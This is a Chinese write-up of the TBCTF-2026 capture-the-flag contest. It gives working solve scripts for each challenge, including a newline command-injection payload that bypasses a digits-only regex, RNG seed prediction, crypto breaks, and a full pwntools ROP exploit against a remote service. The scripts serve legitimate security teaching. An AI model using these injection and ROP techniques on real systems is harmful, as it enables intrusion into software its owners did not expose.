TBCTF-2026

作者:玄网安全 发布:2026-06-27 18:34 收录:2026-09-21 08:45 5 次阅读 约 4955 字
摘要:TBCTF-2026😶😶😶😶😶😶Ping Me(web)Summary这题的核心是一个典型的命令注
推荐理由:本文围绕「CTF」、「UMM」等主题展开。

TBCTF-2026😶😶😶😶😶😶


Ping Me(web)

Summary

这题的核心是一个典型的命令注入。后端虽然限制了输入只能是“数字和点”,但它错误地使用了 re.match(..., flags=re.MULTILINE),导致只校验了第一行;再配合 shell=True,我们可以通过换行注入第二条命令,并利用通配符在不出现字母的情况下执行 /app/readflag。

Solution

Step 1: 代码审计确认换行注入

源码里最关键的逻辑在 app.py:

  • 输入长度必须不超过 15
  • 不能包含字母
  • 不能包含 $
  • 正则检查是 re.match(r"^[\d.]+$", ip, flags=re.MULTILINE)
  • 最终执行 subprocess.check_output(command, shell=True, executable='/bin/bash')

问题在于 MULTILINE 会让 ^ 和 $ 匹配每一行的开头和结尾,而 re.match() 只要求从字符串开头开始匹配即可。
因此只要第一行是合法的数字,比如 0,后面即使再跟一个换行和新命令,也能通过校验。

也就是说,这样的输入能够绕过过滤:

0
<second command>

在 shell 中,换行本身就是命令分隔符,所以第二行会被当成新的命令执行。

Step 2: 用纯符号路径执行 /app/readflag

还需要解决两个限制:

  • 不能输入字母,所以不能直接写 /app/readflag
  • 总长度不能超过 15

查看 Dockerfile 和 readflag.c 可以知道:

  • 程序工作目录在 /app
  • 存在一个 SUID 可执行文件 readflag
  • readflag 会直接打印环境变量 FLAG

于是可以利用 Bash 通配符来避免字母:

0
/???/????????

解释如下:

  • /???/???????? 正好能展开成 /app/readflag
  • 第一行 0 可以通过“只含数字”的校验
  • 整个 payload 长度刚好是 15

实际提交后,服务端会执行两条命令:

ping -c 1 -W 2 0
/app/readflag

下面是一份完整利用脚本:

import re
import sys

import requests


URL = "https://web-ping-me.tracebash.xyz/api/ping"
PAYLOAD = "0\n/???/????????"
FLAG_RE = re.compile(r"TBCTF\{[^}]+\}")


def main():
    response = requests.post(
        URL,
        data=PAYLOAD,
        headers={"Content-Type": "text/plain"},
        timeout=10,
    )
    response.raise_for_status()

    body = response.json().get("output", "")
    match = FLAG_RE.search(body)
    if not match:
        raise RuntimeError("Flag not found in response.")

    print(f"payload: {PAYLOAD!r}")
    print(f"flag: {match.group(0)}")


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(f"error: {exc}")
        sys.exit(1)

运行结果:

payload: '0\n/???/????????'
flag: TBCTF{0ld_5ch00l_c0mm4nd_1nj3c710n_0n_573r01d5}

Flag

TBCTF{0ld_5ch00l_c0mm4nd_1nj3c710n_0n_573r01d5}

Random Cheese(web)

Summary

这题的核心不是拼运气,而是发现用户可设置的 lucky_number 会被后端直接当成随机数种子。由于同一个 lucky_number 对应的 10 次抽奖结果完全固定,我们只要离线枚举 1..1000,找到任意一个总分至少 85 的号码,就能稳定拿到 flag。

Solution

Step 1: 确认抽奖结果可预测

站点提供注册、登录、抽奖和设置幸运数字功能,要求 10 抽后总分达到 85+ 才能 claim flag。

测试后可以确认:

  • POST /spin 会直接返回本次抽中的分值
  • 修改 lucky_number 会重置当前抽奖进度
  • 对同一个 lucky_number,连续 10 抽的结果每次都完全一致

这说明服务端并不是真随机,而是使用 lucky_number 初始化伪随机数生成器。其行为可等价理解为:

import random

rng = random.Random(lucky_number)
score_list = [rng.randint(1, 10) for _ in range(10)]

本地验证后,Python 的 random.Random(lucky_number).randint(1, 10) 生成序列与站点返回结果一致。

Step 2: 离线枚举 lucky number 并在线 claim

接下来只需要枚举 1..1000 的所有幸运数字,找出 10 次得分总和大于等于 85 的值即可。

例如,lucky_number = 854 的结果为:

rolls = [6, 6, 9, 9, 10, 8, 10, 9, 10, 10]
total = 87

把幸运数字改成 854,然后连续抽 10 次,最后提交 claim,就能直接得到 flag。

import random
import re
import sys
import uuid

import requests


BASE_URL = "https://web-random-cheese.tracebash.xyz"
FLAG_RE = re.compile(r"TBCTF\{[^}]+\}")


def find_winning_lucky_number():
    for lucky_number in range(1, 1001):
        rng = random.Random(lucky_number)
        rolls = [rng.randint(1, 10) for _ in range(10)]
        total = sum(rolls)
        if total >= 85:
            return lucky_number, rolls, total
    raise RuntimeError("No winning lucky number found.")


def exploit():
    lucky_number, rolls, total = find_winning_lucky_number()

    session = requests.Session()
    username = "u" + uuid.uuid4().hex[:8]
    password = "p" + uuid.uuid4().hex[:8]

    session.post(
        f"{BASE_URL}/register",
        data={"username": username, "password": password},
        timeout=10,
    )
    session.post(
        f"{BASE_URL}/login",
        data={"username": username, "password": password},
        timeout=10,
    )
    session.post(
        f"{BASE_URL}/update_lucky",
        data={"lucky_number": str(lucky_number)},
        timeout=10,
    )

    for _ in range(10):
        session.post(f"{BASE_URL}/spin", timeout=10)

    response = session.post(f"{BASE_URL}/claim", timeout=10)
    match = FLAG_RE.search(response.text)
    if not match:
        raise RuntimeError("Flag not found in server response.")

    print(f"winning_lucky_number: {lucky_number}")
    print(f"rolls: {rolls}")
    print(f"total: {total}")
    print(f"flag: {match.group(0)}")


if __name__ == "__main__":
    try:
        exploit()
    except Exception as exc:
        print(f"error: {exc}")
        sys.exit(1)

运行结果:

winning_lucky_number: 854
rolls: [6, 6, 9, 9, 10, 8, 10, 9, 10, 10]
total: 87
flag: TBCTF{t0m_4nd_j3rry_l0v3s_ch33s3_4nd_r4nd0mness}

Flag

TBCTF{t0m_4nd_j3rry_l0v3s_ch33s3_4nd_r4nd0mness}

Sanity Check

Summary

附件里给了一个 flag_pool 目录,里面有 8001 个看起来都像真的 TBCTF{...}。核心思路是把所有 flag 按下划线拆词做词频统计,真 flag 通常会包含与题意强相关、且只出现一次的关键词。

Solution

Step 1: 统计词频并找异常值

先遍历所有 flag_*.txt,提取 TBCTF{} 内部内容,再按 _ 分词。

这批伪造 flag 大多由固定词表随机拼接而成,而 s4n1ty、v3r1f13d 这两个词只出现了一次,和题目名 Sanity Check 高度相关,因此对应文件就是最可疑的真 flag。

import collections
import pathlib
import re
import sys


FLAG_RE = re.compile(r"^TBCTF\{([A-Za-z0-9_]+)\}$")


def load_flags(base: pathlib.Path):
    flags = []
    for path in sorted(base.glob("*.txt")):
        content = path.read_text(encoding="utf-8").strip()
        match = FLAG_RE.fullmatch(content)
        if not match:
            continue
        tokens = match.group(1).split("_")
        flags.append((path.name, content, tokens))
    return flags


def choose_real_flag(flags):
    counts = collections.Counter()
    for _, _, tokens in flags:
        counts.update(tokens)

    def score(item):
        _, _, tokens = item
        singleton_count = sum(1 for token in tokens if counts[token] == 1)
        rarity_score = sum(1 / counts[token] for token in tokens)
        return (singleton_count, rarity_score)

    return max(flags, key=score)


def main():
    if len(sys.argv) > 1:
        base = pathlib.Path(sys.argv[1])
    else:
        base = pathlib.Path(r"C:\Users\ZhuanZ(无密码)\Downloads\sanity_check\flag_pool")

    flags = load_flags(base)
    filename, flag, _ = choose_real_flag(flags)
    print(f"file: {filename}")
    print(f"flag: {flag}")


if __name__ == "__main__":
    main()

运行结果:

file: flag_3482.txt
flag: TBCTF{s4n1ty_v3r1f13d_8291}

Step 2: 快速验证

直接全文检索异常词可以再次确认:

rg -n "s4n1ty|v3r1f13d|8291" flag_pool

命中结果只有一条:

flag_3482.txt:1: TBCTF{s4n1ty_v3r1f13d_8291}

Flag

TBCTF{s4n1ty_v3r1f13d_8291}

Something

Summary

题目给了一个 Go 编译的 64 位静态 ELF。程序存在多条诱饵校验路径,真正的校验逻辑在 main.reallocate_memory_region:取 TBCTF{...} 中间 16 字节,反转后异或,再和加密常量比较。

Solution

Step 1: 识别 Go 符号和加密字符串

先查看文件类型和符号:

file chall
go tool nm chall | grep 'main\.'

可以看到关键符号:

main.encPrompt
main.encIncorrect
main.encCorrect
main.encExpected
main.reallocate_memory_region

程序里的提示、错误信息、正确提示和 expected 数据都被 XOR 加密。 解密用的固定值来自 TBCTF{ 六个字符的异或:

'T' ^ 'B' ^ 'C' ^ 'T' ^ 'F' ^ '{' = 0x3c

字符串最终还会再异或 0x2a,所以整体等价于:

byte ^ 0x3c ^ 0x2a = byte ^ 0x16

Step 2: 还原真正校验逻辑

main.main 先检查输入必须满足:

TBCTF{...}

中间内容长度必须是 16。前面几个分支是诱饵,例如哈希、ssh 前缀、特殊字节、乘积取模等,命中后会输出 fake flag。

真正校验在:

main.reallocate_memory_region

核心逻辑等价于:

buf = input_inner[:16]
buf = buf[::-1]
buf = [x ^ 0xd7 for x in buf]
buf = [x ^ 0x2a for x in buf]
buf == decrypt(encExpected)

其中:

0xd7 ^ 0x2a = 0xfd
decrypt(encExpected) = encExpected ^ 0x16

所以反推:

input_inner = reverse((encExpected ^ 0x16) ^ 0xfd)
            = reverse(encExpected ^ 0xeb)

完整 solve 脚本如下:

#!/usr/bin/env python3

enc_expected = bytes.fromhex(
    "ca89db998d86d886b499db93b49dd899"
)

inner = bytes([b ^ 0xEB for b in enc_expected])[::-1]
flag = b"TBCTF{" + inner + b"}"

print(flag.decode())

运行结果:

TBCTF{r3v_x0r_m3mfr0b!}

验证:

printf '%s\n' 'TBCTF{r3v_x0r_m3mfr0b!}' | ./chall

输出:

Enter flag: Correct! Flag is your input.

Flag

TBCTF{r3v_x0r_m3mfr0b!}

LayerCake

Summary

题目给了一个 stripped 的 64 位 PIE ELF。程序每次运行都会根据 time() 生成随机层,导致输出看起来不同;但真正的静态加密层可以直接逆回去,最终得到 flag。

Solution

Step 1: 分析程序流程

先查看文件信息:

file challenge

结果显示是 64 位 ELF:

challenge: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped

运行时需要传入一个 0-255 的 key:

./challenge 0
./challenge 128
./challenge 255

输出是乱码,并且每次运行可能不同。 逆向 main 后可以看到核心流程:

memcpy(buf, enc_data, 0x1a);

srand(time(0));
r = rand() % 100;

xor_all(buf, r);
xor_index(buf);
rol3(buf);
xor_all(buf, user_key);

puts(buf);

也就是说,程序对静态密文做了几层处理:

1. 每字节异或 rand()%100
2. 每字节异或 7*i+11
3. 每字节循环左移 3 位
4. 每字节异或用户输入 key

其中第 1 层和第 4 层都是单字节 XOR 层,所以某些时刻用户 key 可以抵消随机层,输出正确 flag。

Step 2: 还原静态层

.data 中的 26 字节密文为:

08 d3 f8 23 66 c8 11 1b 47 4d fe 3a 5b c3 cb 9b bc e0 4e 7f d0 71 62 4b 5c 9c

先逆掉固定下标异或,再做循环左移 3 位,可以得到一段带固定 XOR mask 的数据。 利用 flag 前缀 TBCTF{ 可以推出最终 mask 为 0x4c。

完整 solve 脚本如下:

#!/usr/bin/env python3

enc = bytes.fromhex(
    "08d3f82366c8111b474dfe3a5bc3cb9b"
    "bce04e7fd071624b5c9c"
)

def rol8(x, n):
    return ((x << n) & 0xff) | (x >> (8 - n))

# 还原固定层:先异或 7*i+11,再循环左移 3 位
base = bytes(
    rol8(b ^ ((7 * i + 11) & 0xff), 3)
    for i, b in enumerate(enc)
)

# 利用 TBCTF{ 前缀恢复最后的单字节 XOR mask
mask = base[0] ^ ord("T")

flag = bytes(c ^ mask for c in base)
print(flag.decode())

运行结果:

TBCTF{mult1_lay3r_r3v3rs3}

Step 3: 解释“正确时刻”

程序中的随机层为:

r = rand() % 100;

然后输出前还会异或用户输入的 key。

因为 XOR 和循环移位都是可逆的,随机层本质上只是在最终输出上叠了一层单字节扰动。 当用户输入的 key 恰好抵消当前 rand()%100 对应的扰动时,程序就会直接打印正确 flag。

题目描述中的:

Every now and then, one of those is right.

对应的就是这个逻辑。

Flag

TBCTF{mult1_lay3r_r3v3rs3}

Broken Trust Protocol

Summary

题目给了一段简化的 DH 协议和一次通信抓包。真正的问题不在 AES,而在握手阶段允许恶意客户端把 B 伪造成 p-1,导致共享密钥只会落到极小的候选集合里。

Solution

Step 1: 利用小子群注入把共享密钥压缩成两个候选值

题目源码里客户端发出的值固定成了 B = p - 1。
在模素数域中,(p - 1)^a mod p 只可能等于 1 或 p - 1。
因此不需要知道私钥 a,只要分别用这两个候选值做 sha256,再尝试 AES-CBC 解密即可。
这里实际正确的是 shared = p - 1。

from hashlib import sha256
from pathlib import Path

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


def parse_capture(path: Path) -> dict[str, str]:
    values: dict[str, str] = {}
    for line in path.read_text(encoding="utf-8").splitlines():
        key, value = line.split(" = ", 1)
        values[key.strip()] = value.strip()
    return values


base = Path("broken_trust_protocol")
values = parse_capture(base / "capture.txt")

p = int(values["p"])
iv = bytes.fromhex(values["iv"])
ciphertext = bytes.fromhex(values["ciphertext"])

for shared in (1, p - 1):
    key = sha256(str(shared).encode()).digest()[:16]
    plaintext = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
    try:
        flag = unpad(plaintext, 16).decode()
    except ValueError:
        continue

    if flag.startswith("TBCTF{"):
        print(flag)
        break

运行后输出:

TBCTF{Sm4ll_Subgr0up_Att4cks_Ar3_D34dly}

Flag

TBCTF{Sm4ll_Subgr0up_Att4cks_Ar3_D34dly}

Harmonic Cipher

Summary

附件里有一个 ciphertext.bin 和一段 8 秒的纯音乐。核心思路是把每一秒的主频率提取出来,然后把这些频率对 256 取模,得到一个循环异或密钥。

Solution

Step 1: 从音频中提取每秒的主频

melody.wav 一共 8 秒,每秒都只有一个很明显的单音。
对每一秒分别做 FFT,可以得到主频依次为:

440, 494, 523, 587, 659, 698, 784, 880

也就是从 A4 一路上行到 A5 的音阶。

Step 2: 用 freq % 256 还原异或密钥

把上面的频率逐个对 256 取模:

[184, 238, 11, 75, 147, 186, 16, 112]

这 8 个字节正好可以作为循环 XOR 密钥来解开 ciphertext.bin。

from pathlib import Path
import wave

import numpy as np


def extract_frequencies(wav_path: Path) -> list[int]:
    with wave.open(str(wav_path), "rb") as wav_file:
        sample_rate = wav_file.getframerate()
        samples = np.frombuffer(wav_file.readframes(wav_file.getnframes()), dtype=np.int16)

    duration = len(samples) // sample_rate
    frequencies: list[int] = []

    for second in range(duration):
        segment = samples[second * sample_rate : (second + 1) * sample_rate].astype(np.float64)
        spectrum = np.abs(np.fft.rfft(segment))
        bins = np.fft.rfftfreq(len(segment), 1 / sample_rate)
        dominant = int(round(float(bins[np.argmax(spectrum[1:]) + 1])))
        frequencies.append(dominant)

    return frequencies


base = Path("harmonic_cipher/harmonic_cipher")
frequencies = extract_frequencies(base / "melody.wav")
key = bytes(freq % 256 for freq in frequencies)
ciphertext = (base / "ciphertext.bin").read_bytes()
plaintext = bytes(value ^ key[index % len(key)] for index, value in enumerate(ciphertext))

print(frequencies)
print(list(key))
print(plaintext.decode())

运行后输出:

[440, 494, 523, 587, 659, 698, 784, 880]
[184, 238, 11, 75, 147, 186, 16, 112]
TBCTF{h4rm0n1c_fr3qu3nc13s_4r3_m3l0d1c}

Flag

TBCTF{h4rm0n1c_fr3qu3nc13s_4r3_m3l0d1c}

Quantum Echo

Summary

题目给了两把 RSA 公钥和同一个密文。关键点在于两把公钥复用了同一个素因子,只要做一次 gcd(n1, n2) 就能把模数分解掉。

Solution

Step 1: 对两把公钥做 GCD

把 public1.pem 和 public2.pem 里的模数取出来后,计算:

gcd(n1, n2) = p

如果结果不是 1,就说明两把公钥共享素因子。
接着就能分别得到:

q1 = n1 / p
q2 = n2 / p

然后按普通 RSA 流程恢复私钥指数 d 并尝试解密。
题目密文是用第一把公钥加密的,所以用 n1 那一套参数可以直接出 flag。

from math import gcd
from pathlib import Path

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse, long_to_bytes


base = Path("QuantumEcho")
key1 = RSA.import_key((base / "public1.pem").read_bytes())
key2 = RSA.import_key((base / "public2.pem").read_bytes())
ciphertext = int((base / "ciphertext.txt").read_text(encoding="utf-8").strip())

shared_prime = gcd(key1.n, key2.n)

for key in (key1, key2):
    other_prime = key.n // shared_prime
    phi = (shared_prime - 1) * (other_prime - 1)
    d = inverse(key.e, phi)
    plaintext = long_to_bytes(pow(ciphertext, d, key.n))
    if plaintext.startswith(b"TBCTF{"):
        print(plaintext.decode())
        break

运行后输出:

TBCTF{C0mm0n_Pr1m3s_Ar3_D34dly}

Flag

TBCTF{C0mm0n_Pr1m3s_Ar3_D34dly}

State Desync

Summary

题目给的是一个自制流加密器,两个初始种子都只有 8 bit。既然状态空间只有 256 * 256,最直接的方法就是完整爆破,再用 flag 前缀筛出正确明文。

Solution

Step 1: 爆破两个 8 位种子

算法虽然看起来有自定义 S-Box、变长时钟和反馈移位,但真正的密钥空间非常小。
把注释里的密文读出来后,直接枚举 seed_a 和 seed_b 即可。
找到明文以 TBCTF{ 开头、以 } 结尾的那组状态就是答案。
最终命中的种子是 seed_a = 66、seed_b = 19。

import binascii
import re
from pathlib import Path


def custom_sbox(value: int) -> int:
    return ((value ^ 0x5A) + 0x33) % 256


def encrypt(data: bytes, seed_a: int, seed_b: int) -> bytes:
    state_a = seed_a
    state_b = seed_b
    ciphertext = bytearray()

    for byte in data:
        clock_steps = (state_a & 0x0F) + 1
        for _ in range(clock_steps):
            feedback = (
                ((state_b >> 7) ^ (state_b >> 5) ^ (state_b >> 2) ^ (state_b >> 1)) & 1
            )
            state_b = ((state_b << 1) | feedback) & 0xFF

        state_a = custom_sbox(state_a ^ state_b)
        keystream_byte = custom_sbox(state_b) ^ state_a
        ciphertext.append(byte ^ keystream_byte)

    return bytes(ciphertext)


content = Path("state_desync/challenge.py").read_text(encoding="utf-8")
match = re.search(r'unhexlify\("([0-9a-f]+)"\)', content)
ciphertext = binascii.unhexlify(match.group(1))

for seed_a in range(256):
    for seed_b in range(256):
        plaintext = encrypt(ciphertext, seed_a, seed_b)
        if plaintext.startswith(b"TBCTF{") and plaintext.endswith(b"}"):
            print(seed_a, seed_b)
            print(plaintext.decode())
            raise SystemExit

运行后输出:

66 19
TBCTF{h1dd3n_st4t3_m4chin3_f4il}

Flag

TBCTF{h1dd3n_st4t3_m4chin3_f4il}

Bespoke Superblock

Summary

题目给了一个奇怪的磁盘镜像和一个损坏的解析脚本。核心思路是利用脚本中泄露的自定义文件系统结构解析 superblock,再从指定 inode 位置按块提取数据,最后对提取结果整体 XOR 0x20 还原 flag。

Solution

Step 1: 解析自定义 superblock

parser.py 中可以看到文件系统从 0x1000 开始,superblock 结构为:

Magic      : 4 bytes
BlockSize  : 2 bytes
TotalBlocks: 4 bytes
FlagInode  : 4 bytes
Padding    : 2 bytes

解析后得到:

Magic       = TBFS
Block Size  = 512
TotalBlocks = 8
Flag Inode  = 0x1020

原脚本每个 block 只读取前 4 字节,将 8 个 block 的数据拼接后得到一段疑似被编码的数据。

完整 solve 脚本如下:

import struct

IMG_PATH = "challenge.img"

def main():
    with open(IMG_PATH, "rb") as f:
        # Custom filesystem starts at 0x1000
        f.seek(0x1000)
        header = f.read(16)

        magic, block_size, total_blocks, flag_inode = struct.unpack(
            "<4s H I I 2x",
            header
        )

        if magic != b"TBFS":
            raise ValueError(f"Invalid magic: {magic!r}")

        print("[+] Found TBFS")
        print(f"[+] block_size  = {block_size}")
        print(f"[+] total_blocks = {total_blocks}")
        print(f"[+] flag_inode   = 0x{flag_inode:x}")

        raw = b""

        for i in range(total_blocks):
            offset = flag_inode + i * block_size
            f.seek(offset)

            # Each block stores 4 bytes of the hidden data
            raw += f.read(4)

        print("[+] raw:", raw)

        # Extra encoding layer: every byte is XORed with 0x20
        flag = bytes(b ^ 0x20 for b in raw).rstrip(b"\x00")

        print("[+] flag:", flag.decode())

if __name__ == "__main__":
    main()

运行结果:

[+] Found TBFS
[+] block_size  = 512
[+] total_blocks = 8
[+] flag_inode   = 0x1020
[+] raw: b'tbctf[SPAT\x11AL\x7fAWARE\x7fXOR\x7f\x11\x13\x13\x17]   '
[+] flag: TBCTF{spat1al_aware_xor_1337}

Step 2: 修复编码层

raw 数据中存在不可打印字符:

\x11 \x13 \x17 \x7f

这些字符分别可以通过 XOR 0x20 还原为:

\x11 ^ 0x20 = 1
\x13 ^ 0x20 = 3
\x17 ^ 0x20 = 7
\x7f ^ 0x20 = _

同时,整个字符串都被 XOR 过,因此:

tbctf[ ... ]  ->  TBCTF{ ... }

最终得到正确 flag。

Flag

TBCTF{spat1al_aware_xor_1337}

Banned Bytes

Summary

程序存在栈溢出,但输入会过滤 x、g、a、. 四个字节。利用 ROP 先写入无 banned byte 的编码字符串,再通过 XOR gadget 在内存中修复为 flag.txt,最后调用 print_file("flag.txt") 读取 flag。

Solution

Step 1: 分析溢出与过滤

vuln 中栈上 buffer 大小为 0x50,但程序调用 read(0, buf, 0x200),因此可以覆盖返回地址。

返回地址偏移为:

0x50 + 8 = 0x58

程序读入后会过滤以下字符:

BAD = b"xga."

也就是说不能直接在 payload 中放入 flag.txt,否则其中的 a、g、.、x 会被替换成 \x00。

Step 2: 构造 ROP 修复字符串

二进制中存在以下可用 gadget:

0x40125b : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x401269 : mov qword ptr [r13], r12 ; ret
0x401264 : pop r14 ; pop r15 ; ret
0x40126e : xor byte ptr [r15], r14b ; ret
0x401272 : pop rdi ; ret

利用方式:

  1. 先向 .bss 写入安全字符串 fl\f/tyt`。
  2. 通过 XOR 1 修复成 flag.txt。
  3. 调用 print_file("flag.txt")。
  4. 调用 fflush(NULL) 保证输出刷新。

字符串修复关系如下:

fl`f/tyt
  ^^^ ^
flag.txt

对应:

` ^ 1 = a
f ^ 1 = g
/ ^ 1 = .
y ^ 1 = x

远程服务通过 socat ... pty 启动,payload 中的 \x12 会被 PTY 当成 Ctrl-R 吞掉,所以发送前需要用 \x16,也就是 Ctrl-V,对 \x12 进行转义:

data.replace(b"\x12", b"\x16\x12")

完整 exploit 如下:

from pwn import *
import re

context.arch = "amd64"

HOST = "13.127.119.28"
PORT = 1338

BAD = b"xga."

def p64x(x):
    return p64(x)

def tty_quote(data: bytes) -> bytes:
    """
    remote socat uses pty.
    \x12 is Ctrl-R and will be swallowed by tty line discipline.
    Prefix it with Ctrl-V (\x16) so the program receives literal \x12.
    """

    return data.replace(b"\x12", b"\x16\x12")

pop4 = 0x40125b                  # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_r13_r12 = 0x401269           # mov qword ptr [r13], r12 ; ret
pop_r14_r15 = 0x401264           # pop r14 ; pop r15 ; ret
xor_r15_r14b = 0x40126e          # xor byte ptr [r15], r14b ; ret
pop_rdi = 0x401272               # pop rdi ; ret

print_file_plt = 0x401060
fflush_plt = 0x401050
writebuf = 0x404060

payload = b"A" * 0x58

# target : f l a g . t x t
# encoded: f l ` f / t y t
encoded = b"fl`f/tyt"

# write encoded string to .bss
payload += p64x(pop4)
payload += encoded
payload += p64x(writebuf)
payload += p64x(0)
payload += p64x(0)
payload += p64x(mov_r13_r12)

# xor 1 修复:`->a, f->g, /->., y->x
for off in [2, 3, 4, 6]:
    payload += p64x(pop_r14_r15)
    payload += p64x(1)
    payload += p64x(writebuf + off)
    payload += p64x(xor_r15_r14b)

# print_file("flag.txt")
payload += p64x(pop_rdi)
payload += p64x(writebuf)
payload += p64x(print_file_plt)

# fflush(NULL)
payload += p64x(pop_rdi)
payload += p64x(0)
payload += p64x(fflush_plt)

# crash after flush
payload += p64x(0)

assert not any(c in BAD for c in payload), "raw payload contains banned byte"

wire_payload = tty_quote(payload)

print("[+] raw payload len :", len(payload))
print("[+] wire payload len:", len(wire_payload))
print("[+] quoted \\x12 count:", payload.count(b"\x12"))

io = remote(HOST, PORT)
io.sendline(wire_payload)

data = io.recvall(timeout=5)
print(data.decode("latin-1", errors="ignore"))

m = re.search(rb"TBCTF\{[^}\r\n]+\}", data)
if m:
    print("[+] FLAG:", m.group().decode())
else:
    print("[-] flag not found")

Step 3: 获取 flag

运行脚本:

python3 exp.py

输出:

[+] raw payload len : 320
[+] wire payload len: 332
[+] quoted \x12 count: 12
[+] Opening connection to 13.127.119.28 on port 1338: Done
...
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
[+] FLAG: TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}

Flag

TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}

转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《TBCTF-2026》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。